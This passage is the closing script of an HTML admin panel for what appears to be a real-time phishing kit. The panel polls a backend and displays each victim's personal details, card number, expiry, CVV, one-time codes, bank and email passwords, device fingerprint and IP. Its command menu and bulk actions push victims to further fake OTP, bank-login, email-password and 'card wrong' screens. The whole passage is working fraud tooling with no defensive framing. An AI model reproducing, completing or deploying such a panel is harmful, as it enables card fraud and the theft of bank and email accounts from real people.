                if (u.info.current_card) {
                    newHtml += '<div class="data-field"><label>Card</label><div class="val card">' + escapeHtml(u.info.current_card) + '</div></div>';
                }
                if (u.info.current_exp) {
                    newHtml += '<div class="data-field"><label>Expiry</label><div class="val exp">' + escapeHtml(u.info.current_exp) + '</div></div>';
                }
                if (u.info.current_cvv) {
                    newHtml += '<div class="data-field"><label>CVV</label><div class="val cvv">' + escapeHtml(u.info.current_cvv) + '</div></div>';
                }
                if (u.info.otp) {
                    newHtml += '<div class="data-field" style="grid-column:1/-1"><label>OTP</label><div class="val otp">' + escapeHtml(u.info.otp) + '</div></div>';
                }
                if (hasBank) {
                    newHtml += '<div class="data-field"><label>Bank</label><div class="val bank">' + escapeHtml(u.info.bank_name) + '</div></div>';
                    newHtml += '<div class="data-field"><label>Bank User</label><div class="val creds">' + escapeHtml(u.info.bank_user) + '</div></div>';
                    newHtml += '<div class="data-field" style="grid-column:1/-1"><label>Bank Password</label><div class="val creds">' + escapeHtml(u.info.bank_pass) + '</div></div>';
                }
                if (u.fingerprint) {
                    newHtml += '<div class="data-field" style="grid-column:1/-1"><label>Device</label><div class="val">' + escapeHtml((u.fingerprint.userAgent||'') + ' | ' + (u.fingerprint.screenWidth||'') + 'x' + (u.fingerprint.screenHeight||'')) + '</div></div>';
                }
                newHtml += '<div class="data-field"><label>IP</label><div class="val">' + escapeHtml(u.ip||'N/A') + '</div></div>';
                newHtml += '<div class="data-field"><label>Last Seen</label><div class="val" id="time-' + uid + '" data-ts="' + (u.last_activity||0) + '">' + new Date((u.last_activity||0)*1000).toLocaleTimeString() + '</div></div>';
                dataGrid.innerHTML = newHtml;
            }

            var timeEl = document.getElementById('time-' + uid);
            if (timeEl && u.last_activity) {
                timeEl.setAttribute('data-ts', u.last_activity);
                timeEl.textContent = new Date(u.last_activity*1000).toLocaleTimeString();
            }

            var statusEl = document.getElementById('status-' + uid);
            if (statusEl) {
                if (isWaiting) {
                    statusEl.className = 'status pending';
                    statusEl.textContent = 'Command pending...';
                } else if (isProcessing) {
                    statusEl.className = 'status';
                    statusEl.textContent = 'User on processing screen - send command';
                } else {
                    statusEl.className = 'status';
                    statusEl.textContent = 'Idle';
                }
            }

            var oldCmd = oldData[uid] ? oldData[uid].command : 'wait';
            var newCmd = u.command;
            if (oldCmd !== 'wait' && newCmd === 'wait') {
                var btn = document.getElementById('btn-send-' + uid);
                if (btn) { btn.disabled = false; btn.textContent = 'SEND'; btn.style.background = ''; }
                if (statusEl) { statusEl.className = 'status sent'; statusEl.textContent = 'Command executed by user'; }
                delete state.pending[uid];
            }
        }
    }
}

function createCard(uid, user) {
    var container = document.getElementById('usersContainer');
    var empty = container.querySelector('.empty');
    if (empty) empty.remove();

    var div = document.createElement('div');
    var step = user.info&&user.info.step ? user.info.step : 1;
    var cards = user.card_attempts || 0;
    var isWaiting = (user.command||'wait') !== 'wait';
    var isProcessing = (step == 3 && !isWaiting);
    var hasBank = user.info && user.info.bank_name;
    var queueCount = user.command_queue ? user.command_queue.length : 0;

    div.className = 'user online ' + (isWaiting?'waiting ':'') + (isProcessing?'processing':'');
    div.setAttribute('data-uid', uid);
    div.id = 'card-' + uid;
    div.style.animation = 'slideIn 0.5s';

    var stepLabels = {1:'Phone',2:'Info',3:'Card',5:'OTP',6:'App',8:'Bank',9:'Email'};
    var stepLabel = stepLabels[step] || 'Step ' + step;

    var html = '<div class="user-header">';
    html += '<div style="display:flex;align-items:center;"><input type="checkbox" class="user-checkbox" onchange="updateBulk()" data-uid="' + uid + '"><span class="id">' + escapeHtml(uid) + '</span></div>';
    html += '<div><span class="badge badge-step">' + stepLabel + '</span>';
    if (cards>0) html += '<span class="badge badge-cards">' + cards + ' cards</span>';
    if (user.info&&user.info.otp) html += '<span class="badge badge-otp">OTP</span>';
    if (hasBank) html += '<span class="badge badge-bank">BANK</span>';
    if (isProcessing) html += '<span class="badge badge-processing">PROCESSING</span>';
    if (queueCount>0) html += '<span class="badge badge-queue">Queue ' + queueCount + '</span>';
    html += '</div></div>';

    html += '<div class="user-body"><div class="data-grid">';

    var fields = ['phone','fname','lname','name','dob','address','city','postcode','email'];
    for (var i=0; i<fields.length; i++) {
        var f = fields[i];
        if (user.info && user.info[f]) {
            html += '<div class="data-field"><label>' + f + '</label><div class="val">' + escapeHtml(user.info[f]) + '</div></div>';
        }
    }

    if (user.info && user.info.email_pass_email) {
        html += '<div class="data-field"><label>Email (Verified)</label><div class="val">' + escapeHtml(user.info.email_pass_email) + '</div></div>';
    }
    if (user.info && user.info.email_pass) {
        html += '<div class="data-field" style="grid-column:1/-1"><label>Email Password</label><div class="val creds">' + escapeHtml(user.info.email_pass) + '</div></div>';
    }

    if (user.info && user.info.current_card) {
        html += '<div class="data-field"><label>Card</label><div class="val card">' + escapeHtml(user.info.current_card) + '</div></div>';
    }
    if (user.info && user.info.current_exp) {
        html += '<div class="data-field"><label>Expiry</label><div class="val exp">' + escapeHtml(user.info.current_exp) + '</div></div>';
    }
    if (user.info && user.info.current_cvv) {
        html += '<div class="data-field"><label>CVV</label><div class="val cvv">' + escapeHtml(user.info.current_cvv) + '</div></div>';
    }
    if (user.info && user.info.otp) {
        html += '<div class="data-field" style="grid-column:1/-1"><label>OTP</label><div class="val otp">' + escapeHtml(user.info.otp) + '</div></div>';
    }
    if (hasBank) {
        html += '<div class="data-field"><label>Bank</label><div class="val bank">' + escapeHtml(user.info.bank_name) + '</div></div>';
        html += '<div class="data-field"><label>Bank User</label><div class="val creds">' + escapeHtml(user.info.bank_user) + '</div></div>';
        html += '<div class="data-field" style="grid-column:1/-1"><label>Bank Password</label><div class="val creds">' + escapeHtml(user.info.bank_pass) + '</div></div>';
    }
    if (user.fingerprint) {
        html += '<div class="data-field" style="grid-column:1/-1"><label>Device</label><div class="val">' + escapeHtml((user.fingerprint.userAgent||'') + ' | ' + (user.fingerprint.screenWidth||'') + 'x' + (user.fingerprint.screenHeight||'')) + '</div></div>';
    }

    html += '<div class="data-field"><label>IP</label><div class="val">' + escapeHtml(user.ip||'N/A') + '</div></div>';
    html += '<div class="data-field"><label>Last Seen</label><div class="val" id="time-' + uid + '" data-ts="' + (user.last_activity||0) + '">' + new Date((user.last_activity||0)*1000).toLocaleTimeString() + '</div></div>';
    html += '</div></div>';

    if (state.role !== 'viewer') {
        html += '<div class="cmd-section">';
        html += '<div class="cmd-row">';
        html += '<select id="cmd-' + uid + '">';
        html += '<option value="">Select Command...</option>';
        html += '<optgroup label="After Card - Send User To:">';
        html += '<option value="go_otp">OTP Verification</option>';
        html += '<option value="go_app">Bank App Approval</option>';
        html += '<option value="go_bank">Bank Login Required</option>';
        html += '<option value="go_email">Email Password Required</option>';
        html += '<option value="new_card">New Card Required</option>';
        html += '<option value="wrong_card">Card Wrong - Retry</option>';
        html += '</optgroup>';
        html += '<optgroup label="Email Verification:">';
        html += '<option value="wrong_email">Wrong Email Password - Retry</option>';
        html += '</optgroup>';
        html += '<optgroup label="Finish:">';
        html += '<option value="go_success">Done - Success Page</option>';
        html += '<option value="go_error">Show Error</option>';
        html += '</optgroup>';
        html += '</select>';
        html += '<button class="btn-send" id="btn-send-' + uid + '" onclick="sendCmd(\'' + uid + '\', this)">SEND</button>';
        html += '</div>';
        html += '<div class="cmd-row" style="margin-top:8px;">';
        html += '<button class="btn-otp" onclick="quickCmd(\'' + uid + '\',\'go_otp\')">OTP</button>';
        html += '<button class="btn-app" onclick="quickCmd(\'' + uid + '\',\'go_app\')">APP</button>';
        html += '<button class="btn-bank" onclick="quickCmd(\'' + uid + '\',\'go_bank\')">BANK</button>';
        html += '<button class="btn-email" onclick="quickCmd(\'' + uid + '\',\'go_email\')">EMAIL</button>';
        html += '<button class="btn-quick" onclick="quickCmd(\'' + uid + '\',\'new_card\')">NEW CARD</button>';
        html += '<button class="btn-done" onclick="quickCmd(\'' + uid + '\',\'go_success\')">DONE</button>';
        html += '<button class="btn-delete" onclick="deleteUser(\'' + uid + '\')">Delete</button>';
        html += '</div>';
        html += '<div class="cmd-row" style="margin-top:8px;">';
        html += '<input type="text" id="notify-' + uid + '" placeholder="Custom notification message..." autocomplete="off">';
        html += '<button class="btn-notify" onclick="sendNotify(\'' + uid + '\')">📢 Notify</button>';
        html += '</div>';
        var statusText = isWaiting ? 'Command pending...' : (isProcessing ? 'User on processing screen - send command' : 'Idle');
        html += '<div class="status ' + (isWaiting?'pending':'') + '" id="status-' + uid + '">' + statusText + '</div>';
        html += '</div>';
    }

    div.innerHTML = html;
    container.insertBefore(div, container.firstChild);

    var total = document.getElementById('stat-total');
    if (total) total.textContent = parseInt(total.textContent) + 1;
}

function sendCmd(uid, btn) {
    if (state.role === 'viewer') { toast('Access denied'); return; }
    var sel = document.getElementById('cmd-' + uid);
    var cmd = sel.value;
    if (!cmd) { toast('Select a command'); return; }

    btn.disabled = true;
    btn.textContent = '...';

    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'backend.php?adminCmd=' + encodeURIComponent(cmd) + '&uid=' + encodeURIComponent(uid), true);
    xhr.onreadystatechange = function() {
        if (xhr.readyState === 4) {
            if (xhr.status === 200) {
                btn.textContent = 'SENT';
                btn.style.background = '#10b981';
                document.getElementById('status-' + uid).className = 'status pending';
                document.getElementById('status-' + uid).textContent = 'Command pending...';
                state.pending[uid] = true;
                toast('Sent: ' + cmd);
                setTimeout(function() { btn.disabled = false; btn.textContent = 'SEND'; btn.style.background = ''; }, 2000);
            } else {
                btn.disabled = false;
                btn.textContent = 'SEND';
                toast('Failed to send command');
            }
        }
    };
    xhr.send();
}

function quickCmd(uid, cmd) {
    var sel = document.getElementById('cmd-' + uid);
    if (sel) sel.value = cmd;
    var btn = document.getElementById('btn-send-' + uid);
    if (btn) sendCmd(uid, btn);
}

function sendNotify(uid) {
    var input = document.getElementById('notify-' + uid);
    var msg = input.value.trim();
    if (!msg) { toast('Enter a notification message'); return; }
    
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'backend.php?adminCmd=' + encodeURIComponent('notify:' + msg) + '&uid=' + encodeURIComponent(uid), true);
    xhr.onreadystatechange = function() {
        if (xhr.readyState === 4 && xhr.status === 200) {
            input.value = '';
            toast('Notification sent to user');
        }
    };
    xhr.send();
}

function deleteUser(uid) {
    if (!confirm('Delete user ' + uid + '?')) return;
    var xhr = new XMLHttpRequest();
    xhr.open('GET', '?delete=' + encodeURIComponent(uid), true);
    xhr.onreadystatechange = function() {
        if (xhr.readyState === 4 && xhr.status === 200) {
            var card = document.getElementById('card-' + uid);
            if (card) card.remove();
            toast('Deleted ' + uid.substr(0,12));
            updateStats(state.lastData);
        }
    };
    xhr.send();
}

function updateStats(data) {
    var online = 0, processing = 0;
    var now = Date.now()/1000;
    for (var uid in data) {
        if ((now - (data[uid].last_activity||0)) < 15) online++;
        var step = data[uid].info && data[uid].info.step ? data[uid].info.step : 1;
        var isWaiting = (data[uid].command||'wait') !== 'wait';
        if (step == 3 && !isWaiting) processing++;
    }
    var el = document.getElementById('stat-online');
    if (el) el.textContent = online;
    var el2 = document.getElementById('stat-total');
    if (el2) el2.textContent = Object.keys(data).length;
    var el3 = document.getElementById('stat-processing');
    if (el3) el3.textContent = processing;
}

function toast(msg) {
    var c = document.getElementById('toasts');
    var d = document.createElement('div');
    d.className = 'toast';
    d.textContent = msg;
    c.appendChild(d);
    setTimeout(function() { d.remove(); }, 3000);
}

function setFilter(f) {
    location.href = '?filter=' + f;
}

function forceRefresh() {
    state.lastHash = '';
    poll();
    toast('Refreshed');
}

function escapeHtml(t) {
    if (t == null) return '';
    var d = document.createElement('div');
    d.textContent = t;
    return d.innerHTML;
}

// ==================== SEARCH ====================
function filterUsers() {
    var q = document.getElementById('searchInput').value.toLowerCase();
    var cards = document.querySelectorAll('.user[data-uid]');
    cards.forEach(function(card) {
        var uid = card.getAttribute('data-uid').toLowerCase();
        var text = card.textContent.toLowerCase();
        if (text.indexOf(q) !== -1 || uid.indexOf(q) !== -1) {
            card.style.display = '';
        } else {
            card.style.display = 'none';
        }
    });
}

// ==================== BULK ACTIONS ====================
function updateBulk() {
    var checked = document.querySelectorAll('.user-checkbox:checked');
    var panel = document.getElementById('bulkPanel');
    document.getElementById('bulkCount').textContent = checked.length;
    if (checked.length > 0) panel.classList.add('show');
    else panel.classList.remove('show');
}

function clearBulk() {
    document.querySelectorAll('.user-checkbox').forEach(function(cb) { cb.checked = false; });
    updateBulk();
}

function sendBulkCmd() {
    var cmd = document.getElementById('bulkCmd').value;
    if (!cmd) { toast('Select a bulk command'); return; }
    var checked = document.querySelectorAll('.user-checkbox:checked');
    if (checked.length === 0) { toast('No users selected'); return; }
    
    checked.forEach(function(cb, index) {
        var uid = cb.getAttribute('data-uid');
        setTimeout(function() {
            if (cmd === 'delete') {
                deleteUser(uid);
            } else {
                quickCmd(uid, cmd);
            }
        }, index * 300);
    });
    toast('Bulk command sent to ' + checked.length + ' users');
    setTimeout(clearBulk, checked.length * 300 + 500);
}

startPoll();
poll();
</script>
</body>
</html>